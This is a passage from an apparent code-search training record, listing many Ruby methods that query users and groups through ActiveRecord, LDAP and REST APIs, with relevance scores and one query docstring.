group.users\n selected_users = []\n\n if users\n # Have any users been checked?\n users.keys.each do |id|\n user = User.find_by_id(id)\n selected_users << user if group_users.include?(user)\n end\n else\n # Otherwise just use the whole group\n selected_users = group_users - [current_user]\n end\n\n selected_users\n end", "def users\n records do |instance|\n instance['users'] = user.where('organization_id': instance['_id'])\n end\n end", "def get_ldap_group_members(groupname:)\n begin\n group = []\n get_ldap_group_member(groupname: groupname) do |_g, m|\n if block_given?\n yield get_ldap_user_attributies(upi: m, attributes: { 'sn' => 'surname', 'givenname' => 'given_name', 'mail' => 'email', 'cn' => 'external_id' })\n else\n group << get_ldap_user_attributies(upi: m, attributes: { 'sn' => 'surname', 'givenname' => 'given_name', 'mail' => 'email', 'cn' => 'external_id' })\n end\n end\n return group unless block_given?\n rescue StandardError => e\n warn e\n end\n end", "def get_users\n res = search(@config[:userdn])\n \n if (res[:message] != \"Success\")\n # tbd handle error\n return nil\n end\n \n if (res[:values] == [])\n return nil\n end\n \n users = []\n \n res[:values].each do |user|\n begin\n uid = user.uidnumber.first\n gid = user.gidnumber.first\n rescue\n uid = 0\n gid = 0\n end\n \n users << {\n :username => user.uid.first,\n :uid => uid,\n :gid => gid,\n :first => user.givenname.first,\n :last => user.sn.first\n }\n end\n \n return users\n end", "def all_users\r\n result = []\r\n\r\n self.descendants_and_self.each do |role|\r\n if role == self\r\n result << role.users \r\n else\r\n result << role.all_users\r\n end\r\n end\r\n self.all_groups.each { |group| result << group.all_users }\r\n result.flatten!\r\n result.uniq!\r\n return result\r\n end", "def index\n @user = User.find(current_user.id)\n @groups = @user.groups.all\n end", "def all\n result = Client.request(:get, 'users')\n\n if result.is_a?(Result::Success)\n result.body[:users].map { |data| User.new(data) }\n else\n []\n end\n end", "def users\n @users ||= rows.map { |r| UserImport::User.new(r) }\n end", "def getUsers() #:name, :default_currency, :locale\r\n returnArray = []\r\n retrieveData(\"/v1/users\")[\"data\"].each do |item|\r\n returnArray << User.new(item[\"name\"], item[\"default_currency\"], item[\"locale\"])\r\n end\r\n return returnArray\r\n end", "def get_all\n @user_repository.get_all_users\n end", "def get_all_users\n @users = []\n results = User.all\n results.each do |user|\n @users << user.to_hash\n end\n end", "def all_active_directory_users\n filter = Net::LDAP::Filter.construct(\n '(&(objectCategory=organizationalPerson)(givenName=*)(sn=*)(objectClass=User)(!(userAccountControl:1.2.840.113556.1.4.803:=2)))')\n entries = OP_CONN.search(filter: filter)\n users = []\n entries.each do |entry|\n user = User.new(convert_user_attributes(entry))\n user.status = :enabled if (!user.disabled? && user.is_app_user?)\n users << user\n end\n users\n rescue Net::LDAP::LdapError => e\n return []\n end", "def users\n result = Rails.cache.read([:ibiza, id, :users])\n get_users_only_once if result.nil?\n result\n end", "def users\n users_array = []\n if serialization_options[:include_users] == true\n # NOTE: object here refers to the ActiveRecord model object. self refers to the serializer object itself.\n object.users.each do |user|\n # NOTE: You can pass serialization_options to serializable_hash.\n users_array << UserSerializer.new(user, {}).serializable_hash({})\n end\n end\n return users_array\n end", "def users\n users = []\n if current_user.lead?\n users = object.users.select { |u| u.id != current_user.id }\n users = users.unshift(current_user)\n elsif current_user.dev?\n vms_v = object.vms.select { |vm| vm.is_jenkins }\n users = vms_v.flat_map(&:user).uniq.select { |u| u.id != current_user.id }\n users = users.unshift(current_user)\n else\n users <<= current_user\n end\n users.map { |u| u.id }\n end", "def index\n unless user_signed_in?\n redirect_to new_user_session_path\n else\n @group_id = UserDefaultGroup.find_by_user_id(current_user.id)\n @group_id = @group_id.group_id unless @group_id.nil?\n #@users = User.all\n @users = User.joins(\"Left Join (select user_id, group_id From group_memberships) fm ON fm.user_id = users.id\").where(\"fm.group_id = ?\", @group_id)\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @users }\n end\n end\n end", "def members(show_staged=false)\n invites = show_staged ? self.org_invites.active_or_staged : self.org_invites.active\n [self.users, invites.to_a].flatten\n end", "def find_users\n if @dir.exist?\n return @dir.entries.each_with_object([]) do |entry, users|\n user_name = entry.basename\n user = User.new(user_name, self)\n if user.exist?\n users << user\n end\n end\n else\n return []\n end\n end", "def index\n @groups = Group.all.includes(:user)\n end", "def users\n\t\tusers = []\n\t\trooms.each do |room|\n\t\t\troom.users.each do |user|\n\t\t\t\tusers << user\n\t\t\tend\n\t\tend\n\t\tusers\n\tend", "def group_users\n DiscussionGroupUser.where(\"discussion_group_id=? AND is_member=?\", self.id, true)\n end", "def users\n res = []\n\n tmp = GoodData.get @json['project']['links']['users']\n tmp['users'].map do |user|\n res << GoodData::Membership.new(user)\n end\n\n res\n end", "def users()\n\t\t\t\tusers = UserList.new()\n\n if dscl?\n # The dscl version is still limited\n idlist = `#{DSCLBIN} . -list /Users UniqueID`\n grouplist = `#{DSCLBIN} . -list /Users PrimaryGroupID`\n idlist.each do | line |\n user = UserInfo.new()\n name,id = line.split\n user.username = name\n user.uid = id.to_i\n users[name] = user\n end\n else\n # get the list of users using niutil\n textlist = `niutil -list . /users`\n textlist.each() { |line|\n line.strip!()\n user = UserInfo.new()\n user.username = line[/^[0-9]+\\s+(\\S+)$/, 1]\n userlist = `niutil -read . /users/#{user.username}`\n userlist.each() { |subline|\n subline.strip!()\n case(subline)\n when(/^home:/)\n user.homedir = subline[/:\\s*(.*)$/, 1]\n when(/^uid:/)\n user.uid = subline[/:\\s*(.*)$/, 1].to_i()\n when(/^gid:/)\n user.gid = subline[/:\\s*(.*)$/, 1].to_i()\n when(/^realname:/)\n user.fullname = subline[/:\\s*(.*)$/, 1]\n end\n }\n users[user.username] = user\n }\n end\n\t\t\t\treturn(users)\n\t\t\tend", "def user_list(offset = 0, limit = 100)\n api.get('user', offset: offset, limit: limit)\n end", "def page_users(context='access')\n usrs = []\n self.where(active: true).find_each do |u|\n usrs << Secure::UserProfile.new(u)\n end\n usrs\n rescue Exception => e\n Rails.logger.error(\" #{self.name.to_s}.#{__method__}() returns: #{e.class.name} msg: #{e.message}\")\n []\n end", "def users\n signups.map do |signup|\n user_id = signup.user_id\n User.all.find {|user| user.id == user_id}\n end\n end", "def index\n\t\t@user = User.find(session[:id])\n\t\t@groups = Group.all\n\tend", "def members\n _members = []\n time = Benchmark.measure do\n _members = Rails.cache.fetch(\"group/#{id}/members/#{updated_at.to_f}\") do\n Person.where(id: (memberships.pluck(:entity_id) + rule_member_ids).uniq)\n end\n end\n\n Rails.logger.warn \"Group.members for group with ID #{id} took #{time.real}\" if time.real > 0.50\n\n return _members\n end", "def get_users(options = {})\n options[:include] = [:roles, :groups, :center]\n page_opts = {:page => options.delete(:page) || 1, :per_page => options.delete(:per_page) || 20}\n sort = options.delete(:sort) || \"users.id\"\n order = options.delete(:order) || \"asc\"\n order_by = \"#{sort} #{order}\"\n puts \"order_by #{order_by}\"\n users = if self.has_access?(:user_show_all) # gets all users which are not login-users\n User.users.with_roles(Role.get_ids(Access.roles(:all_real_users))).order(order_by).paginate(page_opts).uniq\n elsif self.has_access?(:user_show_admins)\n User.users.with_roles(Role.get_ids(Access.roles(:user_show_admins))).order(order_by).paginate(page_opts)\n elsif self.has_access?(:user_show)\n User.users.in_center(self.center).order(order_by).paginate(page_opts)\n else\n WillPaginate::Collection.new(page_opts[:page], page_opts[:per_page])\n end\n return users\n end", "def users\n res = []\n url = data['links']['roleUsers']\n tmp = GoodData.get url\n tmp['associatedUsers']['users'].each do |user_url|\n user = GoodData.get user_url\n res << GoodData::Profile.new(user)\n end\n res\n end", "def users\n Section.find_roles.pluck(:name).inject(Array.new) do |result, role|\n result += User.with_role(role, self)\n end.uniq\n end", "def all(instance)\n data = service.list_users(instance).to_h[:items] || []\n load(data)\n end", "def users\n user_arr = []\n subscriptions.each do |s|\n user_arr << User.find(s.user.id)\n end\n user_arr\n end", "def index\n @user_accounts_groups = UserAccountsGroup.all\n end", "def list\n @all_users = User.find(:all)\n end", "def get_all_users\n @users = []\n User.all.each do |user|\n @users << user.to_hash\n end\n end", "def index_users\n authorize Group, :index?\n render :json => @group.users\n end", "def users(domain, opts = USERS_OPTIONS.merge(:client => GoodData.connection))\n result = []\n\n offset = 0 || opts[:offset]\n uri = \"/gdc/account/domains/#{domain}/users?offset=#{offset}&limit=#{opts[:limit]}\"\n loop do\n break unless uri\n tmp = client(opts).get(uri)\n tmp['accountSettings']['items'].each do |account|\n result << client(opts).create(GoodData::Profile, account)\n end\n uri = tmp['accountSettings']['paging']['next']\n end\n\n result\n end", "def fremont_users\n\ttmp = Array.new\n\tres = Array.new\n\ti = 0\n\twhile (tmp = TOKEN.get('/v2/campus/7/users', params: { page: i, per_page: 100 }).parsed).length > 0\n\t\tputs 'user request page is ' + i.to_s\n\t\ttmp.each do |page|\n\t\t\tres.push(page)\n\t\tend\n\t\ti += 1\n\tend\n\treturn res\nend", "def member_ids(entity)\n params = self.class.prepare_params_for(:members, \"groupId\" => group_id)\n response = self.class.perform(params)\n self.class.check_response(response)\n # Prepare a User array\n xml = Nokogiri::XML(response.body)\n entity_ids = parse_member_response(xml, entity)\n while (np = self.class.next_page(xml))\n params = self.class.prepare_params_for(:members_page, \"groupId\" => group_id,\n \"startFrom\" => np.to_s.split(\"start=\").last)\n response = self.class.perform(params)\n xml = Nokogiri::XML(response.body)\n entity_ids += parse_member_response(xml, entity)\n end\n entity_ids\n end", "def get_all_users\n @users = []\n\n User.all.each do|user|\n @users << user.to_hash\n end\n end", "def groups\n return @groups if @groups\n return [] if uid.nil?\n\n codes = [\"student\"]\n res = Group.where(code: codes)\n # add eduPersonAffiliation (e.g. student, faculty, staff) to groups that the user is a member of\n @groups = res + affiliations.map{ |code| Group.new(:code=>code) }\n end", "def get_users_in_group(group_id)\n @url = \"http://#{$canvas_host}/api/v1/groups/#{group_id}/users\"\n puts \"@url is #{@url}\"\n\n @getResponse = HTTParty.get(@url, :headers => $header)\n puts(\" GET to get users in group has Response.code #{@getResponse.code} and getResponse is #{@getResponse}\")\n\n user_data = @getResponse.parsed_response\n set_of_user_ids = Set.new\n\n user_data.each do |user_data_info|\n set_of_user_ids.add user_data_info[\"id\"]\n end \n\n if @getResponse.empty?\n puts \"WARNING: No users in group from Active listener group 1 or Active listener group 2, program may not function correctly!\"\n end\n\n return set_of_user_ids\nend", "def returning_users\n []\n end", "def index\n id = -1 \n if params[:id] \n id = params[:id]\n else \n id = current_user.id \n end \n\n @user = User.find(id)\n @group = UserGroup.find_by(user_id: id, name: params[:group])\n\n if !@group.nil?\n @group_members = get_members(@user, @group)\n end \n\n end", "def get_all_groups\n grps = self.get_groups_recursively\n grps << self.home_group\n logged_in_group = Group.new(:name => \"logged in user\")\n logged_in_group.id = 0\n grps << logged_in_group\n anonymous_group = Group.new(:name => \"anonymous user\")\n anonymous_group.id = -1\n grps << anonymous_group\n return grps.compact.uniq\n end", "def list\n response = @client.get(\"/users\")\n response[\"users\"].map {|u| User.new(@client, u) }\n end", "def index\n @groups = Group.where(:user_id => current_user)\n end", "def list_users\n response = @connection.dbreq(\"GET\", @lbmgmthost, \"#{@lbmgmtpath}/instances/#{CloudDB.escape(@id.to_s)}/users\",@lbmgmtport,@lbmgmtscheme)\n CloudDB::Exception.raise_exception(response) unless response.code.to_s.match(/^20.$/)\n CloudDB.symbolize_keys(JSON.parse(response.body)[\"users\"])\n end", "def find_allusers(offset, limit)\n # accept offset and limit input parameters\n # use the User Model class to find all Users, ordered by `updated_at` ascending, with specified row offset and row limit\n # return a collection of User instances that represent the specified rows\n @users = User.all.limit(limit).offset(offset).order(:updated_at)\n @users\n end", "def get_users\r\n # Prepare query url.\r\n _path_url = '/users'\r\n _query_builder = Configuration.get_base_uri\r\n _query_builder << _path_url\r\n _query_url = APIHelper.clean_url _query_builder\r\n # Prepare headers.\r\n _headers = {\r\n 'accept' => 'application/json'\r\n }\r\n # Prepare and execute HttpRequest.\r\n _request = @http_client.get(\r\n _query_url,\r\n headers: _headers\r\n )\r\n CustomHeaderAuth.apply(_request)\r\n _context = execute_request(_request)\r\n validate_response(_context)\r\n # Return appropriate response type.\r\n decoded = APIHelper.json_deserialize(_context.response.raw_body)\r\n decoded.map { |element| User.from_hash(element) }\r\n end", "def users\n call(\"UserGroup\", \"get_user_collection_from_role\", \"roleName\" => @name).xpath(\"//spdir:User\", NS).map do |row|\n attributes = clean_attributes(row.attributes)\n User.new(@site, attributes[\"LoginName\"])\n end\n end", "def users\n User.in_teams(self.teams.pluck(:id))\n end", "def members\n @group = Group.find(params[:group_id])\n @members = @group.users\n end", "def usersInGroup\n @users = User.all\n @selected_group = Group.find(params[:selected_group])\n session[:current_group_id] = @selected_group.id\n end", "def user_ids\n page = 1\n per_page = 100\n user_ids = []\n puts 'collecting all user ids'\n loop do\n response = @conn.get api_url('/users'),\n { page: page, per_page: per_page }.merge(token)\n raise 'Error Retrieving user_ids' if response.status != 200\n ids = JSON.parse(response.body).collect { |u| u['id'] }\n user_ids.concat(ids)\n break if ids.size < per_page\n page += 1\n end\n puts 'returning now the user ids'\n user_ids.sort\n end" ]
[ "0.72953755", "0.71286917", "0.7051222", "0.70300096", "0.70154506", "0.68671095", "0.6644911", "0.6596496", "0.6553342", "0.65501094", "0.65167105", "0.6513513", "0.6504297", "0.6499358", "0.64936703", "0.6443046", "0.6415321", "0.64068735", "0.6405403", "0.6395907", "0.6375551", "0.63558125", "0.63068795", "0.6234754", "0.6227534", "0.6224954", "0.62159806", "0.62119406", "0.6208746", "0.61976415", "0.6188782", "0.6183437", "0.6159725", "0.61544585", "0.61504585", "0.60972583", "0.6083716", "0.60791206", "0.6059422", "0.6040874", "0.6039624", "0.60304016", "0.6023276", "0.60178035", "0.60173744", "0.60165715", "0.60035217", "0.60020965", "0.5999381", "0.5998716", "0.59967965", "0.5990617", "0.5970472", "0.59684175", "0.5964636", "0.59629995", "0.5939547", "0.5938169", "0.5929736", "0.5928247", "0.5924181", "0.59193957", "0.5913111", "0.59121174", "0.59104604", "0.590846", "0.59047455", "0.58994764", "0.58947814", "0.5894688", "0.5891594", "0.5881044", "0.5875056", "0.58742523", "0.5871856", "0.5870454", "0.58682984", "0.5864157", "0.5852969", "0.5844723", "0.58371943", "0.5831259", "0.5831031", "0.5823196", "0.5819272", "0.58107877", "0.58073825", "0.58062935", "0.58044684", "0.58044404", "0.5803604", "0.58034843", "0.5803399", "0.5802705", "0.5801934", "0.5787709", "0.57868457", "0.57854986", "0.5783099", "0.5766747" ]
0.66023695
7
Do minimal query to enumerate the users in a list of groups. Return as an Array of ids. Caches result.
def group_user_ids(table) @group_user_ids ||= {} @group_user_ids[table] ||= table.to_s.classify.constantize. joins(user_group: :user_group_users). where("#{type_tag}_id" => id). order(user_id: :asc).distinct. pluck(:user_id) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def users\n Ecore::User.where(\"group_ids LIKE '%#{id}%'\").all\n end", "def users\n Webmail::User.in(group_ids: id)\n end", "def users\n Ecore::User.find(@user_id, :group_ids.like(\"%#{@id}%\")).receive(:all)\n end", "def group_ids\n groups.pluck(:id)\n end", "def get_users_in_group(group_id)\n list_users_in_group = HTTParty.get(\n \"#{$canvas_url}/api/v1/groups/#{group_id}/users\",\n headers: { \"authorization\" => \"Bearer #{$canvas_token}\" }\n )\n\n user_data = list_users_in_group.parsed_response\n\n arr_of_user_ids = Array.new\n\n user_data.each do |user_data_info|\n arr_of_user_ids.push user_data_info[\"id\"]\n end \n\n return arr_of_user_ids\nend", "def group_ids\n groups.map{|g| g.id}\n end", "def group_ids\n [Ecircle.client.find_memberships_by_email(:email => email)].flatten.compact\n end", "def users\n GroupMembers.new(:id => id).get.items\n end", "def fellow_group_member_ids\n user_ids = GroupUser\n .where(group_id: group_ids + owned_group_ids)\n .uniq\n .pluck(:user_id)\n\n # don't include self\n user_ids.delete(id)\n\n user_ids\n end", "def group_ids\n @group_ids ||= current_user.group_ids\n end", "def find_user_groups\r\n user_group = Group.where(\"id IN (SELECT gu.group_id FROM groups_users gu WHERE gu.user_id = ?)\", User.current.id).all\r\n group_names = []\r\n user_group.each do |group|\r\n group_names << group.lastname\r\n end\r\n return group_names\r\n end", "def groups\n UserGroups.new(:id => id).get.items\n end", "def group_ids_for(group)\n strong_memoize(:group_ids) do\n groups = groups_to_include(group)\n\n # Because we are sure that all groups are in the same hierarchy tree\n # we can preset root group for all of them to optimize permission checks\n Group.preset_root_ancestor_for(groups)\n\n groups_user_can_read_items(groups).map(&:id)\n end\n end", "def user_ids\n users.collect(&:id)\n end", "def member_ids(entity)\n params = self.class.prepare_params_for(:members, \"groupId\" => group_id)\n response = self.class.perform(params)\n self.class.check_response(response)\n # Prepare a User array\n xml = Nokogiri::XML(response.body)\n entity_ids = parse_member_response(xml, entity)\n while (np = self.class.next_page(xml))\n params = self.class.prepare_params_for(:members_page, \"groupId\" => group_id,\n \"startFrom\" => np.to_s.split(\"start=\").last)\n response = self.class.perform(params)\n xml = Nokogiri::XML(response.body)\n entity_ids += parse_member_response(xml, entity)\n end\n entity_ids\n end", "def user_ids\n users.pluck(:id)\n end", "def user_ids\n page = 1\n per_page = 100\n user_ids = []\n puts 'collecting all user ids'\n loop do\n response = @conn.get api_url('/users'),\n { page: page, per_page: per_page }.merge(token)\n raise 'Error Retrieving user_ids' if response.status != 200\n ids = JSON.parse(response.body).collect { |u| u['id'] }\n user_ids.concat(ids)\n break if ids.size < per_page\n page += 1\n end\n puts 'returning now the user ids'\n user_ids.sort\n end", "def group_ids_access(access)\n return [] if !active?\n return [] if !groups_access_permission?\n\n access = self.class.ensure_group_access_list_parameter(access)\n foreign_key = group_through.foreign_key\n klass = group_through.klass\n\n # check direct access\n ids = klass.eager_load(:group).where(foreign_key => id, access: access, groups: { active: true }).pluck(:group_id)\n ids ||= []\n\n # check indirect access through roles if possible\n return ids if !respond_to?(:role_ids)\n\n role_group_ids = RoleGroup.eager_load(:group).where(role_id: role_ids, access: access, groups: { active: true }).pluck(:group_id)\n\n # combines and removes duplicates\n # and returns them in one statement\n ids | role_group_ids\n end", "def users\n users = []\n members.each do |member|\n if member.is_a? User\n users << member\n elsif member.is_a? UserGroup\n users + member.users\n else\n raise UserGroupException, \"While retrieving users from a user group (#{self}), found a member that was not a User or UserGroup record!\"\n end\n end\n users.uniq(&:id)\n end", "def get_users(user_group_id=nil) \n # {{{\n users = Array.new\n if is_atomic? then return nil end\n if user_group_id.nil? then \n user_group_id = attr['user_group_id'] \n end\n \n own_users = User_Group_Hierarchy.select { |e| \n e.where(\n (e['user_group_id__parent'] == user_group_id)\n )\n e.order_by('user_group_name', :asc)\n }.each { |ugh|\n user = User_Group.select { |ug|\n ug.where(ug['user_group_id'] == ugh.attr['user_group_id__child'])\n ug.order_by('user_group_name', :asc)\n }.first\n if user.is_atomic? then users.push(user) \n else\n users += get_users(ugh.attr['user_group_id__child'])\n end\n }\n \n return users\n \n end", "def get_users_in_group(group_id)\n @url = \"http://#{$canvas_host}/api/v1/groups/#{group_id}/users\"\n puts \"@url is #{@url}\"\n\n @getResponse = HTTParty.get(@url, :headers => $header)\n puts(\" GET to get users in group has Response.code #{@getResponse.code} and getResponse is #{@getResponse}\")\n\n user_data = @getResponse.parsed_response\n set_of_user_ids = Set.new\n\n user_data.each do |user_data_info|\n set_of_user_ids.add user_data_info[\"id\"]\n end \n\n if @getResponse.empty?\n puts \"WARNING: No users in group from Active listener group 1 or Active listener group 2, program may not function correctly!\"\n end\n\n return set_of_user_ids\nend", "def group_users(table)\n @group_users ||= {}\n @group_users[table] ||= User.where(id: group_user_ids(table)).to_a\n end", "def current_user_group_ids\n container.current_user_group_ids\n end", "def groups\n group_ids.split(',').inject(Array.new) do |arr,gid|\n arr << Ecore::Group.where(:id => gid).first\n end\n end", "def user_ids\n array = Array.new\n\n self.each(\"USERS/ID\") do |id|\n array << id.text.to_i\n end\n\n return array\n end", "def all_ids(opts={}, &block)\n user_id = options.delete(:user_id) || User.me.id\n\n opts = options.merge opts\n\n from = \"/users/#{user_id}#{collection_path}/search\"\n\n has_results = true\n ids = []\n\n while has_results && opts[:pages] != opts[:page] do\n params = { limit: opts[:limit],\n offset: opts[:offset] }\n\n path = \"#{from}#{query_string(params)}\"\n data = format.decode(connection.get(path, headers).body) || []\n\n\n results = data[\"results\"]\n has_results = (results.any? and results.count == opts[:limit])\n\n opts[:page ] += 1\n opts[:offset ] += opts[:limit]\n\n yield(results, data, options) if block_given?\n\n ids.concat results\n end\n\n ids\n end", "def index\r\n if current_user.master_user?\r\n @groups = current_user.account.groups\r\n else\r\n @groups = current_user.groups\r\n end\r\n @ids_for_earth = []\r\n @groups.each { |group| @ids_for_earth << group.id unless group.incivents.unarchived.count == 0 && group.tasks.unarchived.count == 0 && group.stories.unarchived.count == 0 && group.measurements.unarchived.count == 0 }\r\n end", "def current_user_group_ids\n @current_user_group_ids ||= Manage::Group.group_ids_for current_user\n end", "def user_ids\n self.class.where(id: id).user_ids\n end", "def users_ids\n object.member_ids\n end", "def all_friend_ids(username = false)\n ids = []\n cursor = \"-1\"\n while cursor != 0 do \n json = get(\"/friends/ids.json?cursor=#{cursor}#{username ? \"&screen_name=#{username}\" : ''}\")\n cursor = json[\"next_cursor\"]\n ids += json[\"ids\"]\n end\n ids\n end", "def user_ids\n self.users.collect{|ud| ud.id}\n end", "def group_ids=(values)\n values ||= []\n values = [ values ] unless values.is_a?(::Array)\n values = values.reject{|v| v.blank?}.map{|v| v.to_i}\n self.groups = Incline::AccessGroup.where(id: values).to_a\n end", "def group_ids=(values)\n values ||= []\n values = [ values ] unless values.is_a?(::Array)\n values = values.reject{|v| v.blank?}.map{|v| v.to_i}\n self.groups = Incline::AccessGroup.where(id: values).to_a\n end", "def show\n @group_members = GroupMember.where(group_id:params[:id])\n @users_in_group=[]\n @group_members.each do |f|\n @user = User.find(f[:user_id])\n @users_in_group.push(@user)\n end\n render json: @users_in_group\n end", "def enabled_user_ids\n User\n .non_admins\n .find_each(batch_size: 100).each_with_object([]) do |user, ids|\n ids.push(user.id) if user.feature_enabled?(:block_level_sync)\n end\n end", "def group_ids(table)\n @group_ids ||= {}\n @group_ids[table] ||=\n table.to_s.classify.constantize.\n where(\"#{type_tag}_id\" => id).\n order(user_group_id: :asc).distinct.\n pluck(:user_group_id)\n end", "def safe_for_group(users, group)\n group_users = group.users\n selected_users = []\n\n if users\n # Have any users been checked?\n users.keys.each do |id|\n user = User.find_by_id(id)\n selected_users << user if group_users.include?(user)\n end\n else\n # Otherwise just use the whole group\n selected_users = group_users - [current_user]\n end\n\n selected_users\n end", "def get_user_ids\n @assigned_lawfirm_users.map(&:id)\n end", "def list_users\n group_id_param = params[:group_id]\n\n if group_id_param.nil? || group_id_param.blank?\n render json: { error: 'group_id not specified.' }, status: :bad_request\n return\n end\n\n group = CanvasSpaces.GroupCategory.groups.find_by_id(group_id_param)\n if group.nil?\n render json: { error: 'No such group found.' }, status: :bad_request\n else\n if @current_user.account.site_admin? || group.leader_id == @current_user.id\n render json: { size: group.users.count, users: group.users.map { |user| user.as_json(only: [:id, :name], include_root: false) } }, status: :ok\n else\n # doesn't have access to the group\n render json: { error: \"Can't list users. Not owner.\" }, status: :forbidden\n end\n end\n end", "def get_users_from_select(select)\n select = select.reject { |id| id.blank? }\n unless select.blank?\n group_ids = select.select {|group_id| group_id.start_with?(\"g\")}\n users = User.find(select - group_ids)\n group_users = group_ids.map {|group_id| group_id.sub! \"g\",\"\"}\n .map {|group_id| Group.find(group_id).users}\n .flatten\n group_users.concat(users).uniq\n end\n end", "def get_ids\r\n case id\r\n when 1 then [1,2,3,4,5] # superadmin\r\n when 2 then [2] # data\r\n when 3 then [3,4,5] # centeradmin\r\n when 4 then [4,5] # teamadmin\r\n when 5 then [5] # behandler\r\n when 10 then [10,11,12,13,14,15] # login_bruger\r\n when 11 then [11] # parent\r\n when 12 then [12] # teacher\r\n when 13 then [13] # pedagogue\r\n when 14 then [14] # youth\r\n else []\r\n end\r\n end", "def index\n @groups_user = GroupsUser.find(params[:id])\n @groups_users = GroupsUser.all\n end", "def uids\n return [] unless valid?\n\n queries.search(name_query).merged_uids\n end", "def admin_ids\n group_user_ids(admins_join_table)\n end", "def index\n @group = Group.find(params[:id])\n @members = GroupUser.where(:group_id => params[:id])\n end", "def added_friends_or_friends_ids(get_ids=false)\n added_friends_ids = \"SELECT member_id FROM memberships WHERE group_id = :group_id\"\n if get_ids\n added_friends_ids\n else\n User.where(\"(id IN (#{added_friends_ids}))\", group_id: get_current_group_from_slug_in_group_slug.id).where.not(\"id = ?\", current_logged_in_user.id)\n end\n end", "def findAvailableUsers\n @current_group = Group.find_by_id(session[:current_group_id])\n @possible_users = []\n\n # Check if user is included in current group\n User.find_each(:batch_size => 5000) do |pos_user|\n catch :pos_user_cannot_be_added do\n if (!@current_group.users.include?(pos_user))\n\n # Checks if user is already added to another group that exists in the current group's projects\n # (Users should only be added to one group in a single project)\n # --> Possible user is not added to the possible user array if this is the case\n @current_group.projects.find_each(:batch_size => 5000) do |project|\n project.groups.find_each(:batch_size => 5000) do |group|\n if (group.users.include?(pos_user))\n throw :pos_user_cannot_be_added\n end\n end\n end\n @possible_users << pos_user\n end\n end\n end\n end", "def index\n @groups = []\n for member in current_user.members\n @groups << member.group\n end\n end", "def memberships_users\n group_ids_select = memberships.select(:user_id).where(user_type: 'Group')\n\n User.where('id IN (:user_ids) OR id IN (:group_owner_ids)',\n user_ids: memberships.select(:user_id).where(user_type: 'User'),\n group_owner_ids: Group.where(id: group_ids_select).select(:owner_id))\n end", "def getUsersForGroup(group_id)\n self.class.get(\"users/user/_search?q=group_id:#{group_id}\")\n end", "def show_Users\n theUsers = User.select{ |user| user.group_id == self.id}\n theUsers\n end", "def get_discussing_users(group_id)\n list_discussion_topics = HTTParty.get(\n \"#{$canvas_url}/api/v1/groups/#{group_id}/discussion_topics\",\n headers: { \"authorization\" => \"Bearer #{$canvas_token}\" }\n )\n\n discussion_data = list_discussion_topics.parsed_response\n discussion_id = nil\n\n discussion_data.each do |discussion_info|\n discussion_id = discussion_info[\"id\"]\n end\n\n list_discussion_entries = HTTParty.get(\n \"#{$canvas_url}/api/v1/groups/#{group_id}/discussion_topics/#{discussion_id}/entries\",\n headers: { \"authorization\" => \"Bearer #{$canvas_token}\" }\n )\n\n discussion_entries_data = list_discussion_entries.parsed_response\n arr_of_discussing_user_ids = Array.new\n\n discussion_entries_data.each do |discussion_entries_info|\n arr_of_discussing_user_ids.push discussion_entries_info[\"user_id\"]\n end\n\n return arr_of_discussing_user_ids\nend", "def list(\n filter,\n *args,\n deadline: nil\n )\n return @remote_identity_groups.list(\n filter,\n *args,\n deadline: deadline,\n )\n end", "def get_gist_ids user\n puts \"Getting gists for user #{user.username}\"\n gists = get_gists(user)\n gist_ids = gists.collect { |g| g[:id] }\n puts \"Gists for user #{user.username}: gist_ids\"\n return gist_ids\n end", "def user_ids\n ids = self.retrieve_elements(\"USERS/ID\")\n\n return [] if ids.nil?\n\n return ids.collect! {|x| x.to_i}\n end", "def usersInGroup\n @users = User.all\n @selected_group = Group.find(params[:selected_group])\n session[:current_group_id] = @selected_group.id\n end", "def user_ids\n post\n .organization\n .users\n .select(:id)\n .where('members.active = true')\n .where('users.push_notifications = true')\n end", "def targeted_users\r\n if groups.any?\r\n target = []\r\n groups.each do |group|\r\n target << group.active_members\r\n end\r\n\r\n target.flatten!\r\n target_ids = target.map{|u| u.id}\r\n\r\n target = User.where(id: target_ids)\r\n else\r\n target = enterprise.users.active\r\n end\r\n\r\n target = target.for_segments(segments) unless segments.empty?\r\n\r\n target.uniq{|u| u.id}\r\n end", "def member_ids\n team_users.pluck(:user_id)\n end", "def member_ids\n team_users.pluck(:user_id)\n end", "def member_ids\n team_users.pluck(:user_id)\n end", "def get_set_of_user_ids(arr_of_user_names)\n set_of_user_ids = Set.new\n\n arr_of_user_names.each { |name|\n @url = \"http://#{$canvas_host}/api/v1/courses/#{$canvas_course_id}/users\"\n puts \"@url is #{@url}\"\n \n @payload={'search_term': name}\n puts(\"@payload is #{@payload}\")\n \n @getResponse = HTTParty.get(@url, :body => @payload.to_json, :headers => $header)\n puts(\" GET to get user has Response.code #{@getResponse.code} and getResponse is #{@getResponse}\")\n \n user_data = @getResponse.parsed_response\n \n user_data.each do |user_data_info|\n set_of_user_ids.add user_data_info[\"id\"]\n end\n }\n \n return set_of_user_ids\nend", "def view_members()\n a = []\n GroupMember.all.each {|r|\n if r.group_id == @group.id\n a.push(r.username)\n end\n }\n puts a\n end", "def related_groups_users\n [].tap do |related_users|\n all_groups.each do |group|\n related_users << group.all_users.reject { |group_user| group_user == self }\n end\n end.flatten.uniq\n end", "def userids(*values)\n values.inject(self) { |res, val| res._userids(val) }\n end", "def banned_user_ids\n Rails.cache.fetch('banned-user-ids', expires_in: 1.week) do\n User.banned.pluck(:id)\n end\n end", "def group_ids\n @attributes[:group_ids]\n end", "def group_ids\n @attributes[:group_ids]\n end", "def group_ids\n @attributes[:group_ids]\n end", "def users_list\r\n @users_list = User.order_by_asc('name').find(:all, :conditions => [\"group_id <> ?\", Group.get_guest.id])\r\n if params[:users]\r\n @users_list = User.get_user_list params\r\n end\r\n end", "def index\n @user_ids = UserId.all\n end", "def get_user_groups\n user_groups.keys\n end", "def groups\n return @groups if @groups\n return [] if uid.nil?\n\n codes = [\"student\"]\n res = Group.where(code: codes)\n # add eduPersonAffiliation (e.g. student, faculty, staff) to groups that the user is a member of\n @groups = res + affiliations.map{ |code| Group.new(:code=>code) }\n end", "def get_groups\n\t\tgroup0 = course_groups.find_all_by_group(0).collect(&:user_id)\n\t\tgroup1 = course_groups.find_all_by_group(1).collect(&:user_id)\n\t\t[group0,group1]\n\tend", "def get_all_groups\n grps = self.get_groups_recursively\n grps << self.home_group\n logged_in_group = Group.new(:name => 